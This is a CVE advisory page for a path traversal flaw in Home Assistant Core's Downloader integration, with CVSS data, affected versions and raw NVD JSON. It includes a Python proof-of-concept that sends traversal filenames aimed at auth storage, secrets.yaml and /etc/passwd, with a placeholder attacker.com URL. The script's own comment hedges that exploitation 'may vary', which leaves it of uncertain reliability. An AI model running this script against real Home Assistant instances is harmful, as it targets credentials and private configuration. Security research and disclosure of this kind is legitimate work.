Security Vulnerability Report
中文
CVE-2025-65713 CVSS 4.0 MEDIUM

CVE-2025-65713

Published: 2025-12-23 17:15:48
Last Modified: 2026-01-06 17:27:47

Description

Home Assistant Core before v2025.8.0 is vulnerable to Directory Traversal. The Downloader integration does not fully validate file paths during concatenation, leaving a path traversal vulnerability.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:home-assistant:home-assistant:*:*:*:*:*:*:*:* - VULNERABLE
Home Assistant Core < v2025.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-65713 PoC - Path Traversal in Home Assistant Downloader # Target: Home Assistant Core < v2025.8.0 def exploit(target_url, access_token): """ Exploit directory traversal in Home Assistant Downloader integration """ headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Path traversal payload to read sensitive files # Try to access configuration files or system files traversal_paths = [ "../../config/.storage/core.config_entries", "../../config/.storage/auth", "../../etc/passwd", "../../home/homeassistant/.homeassistant/secrets.yaml" ] for path in traversal_paths: payload = { "url": "http://attacker.com/fake", "filename": path } # The path traversal occurs during file path construction # Actual exploitation may vary based on the vulnerable endpoint print(f"Testing path: {path}") try: response = requests.post( f"{target_url}/api/services/downloader/download", json=payload, headers=headers, timeout=10 ) print(f"Status: {response.status_code}") except Exception as e: print(f"Error: {e}") # Usage # target = "http://home-assistant:8123" # token = "your_long_lived_access_token" # exploit(target, token)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65713", "sourceIdentifier": "[email protected]", "published": "2025-12-23T17:15:48.450", "lastModified": "2026-01-06T17:27:46.617", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Home Assistant Core before v2025.8.0 is vulnerable to Directory Traversal. The Downloader integration does not fully validate file paths during concatenation, leaving a path traversal vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:home-assistant:home-assistant:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.8.0", "matchCriteriaId": "DC687849-0E76-403A-9421-A3D1F8C291AF"}]}]}], "references": [{"url": "https://gist.github.com/GenoWang/7359360285e0fe21a7a58d10ff71d032", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/home-assistant/core/pull/150046", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}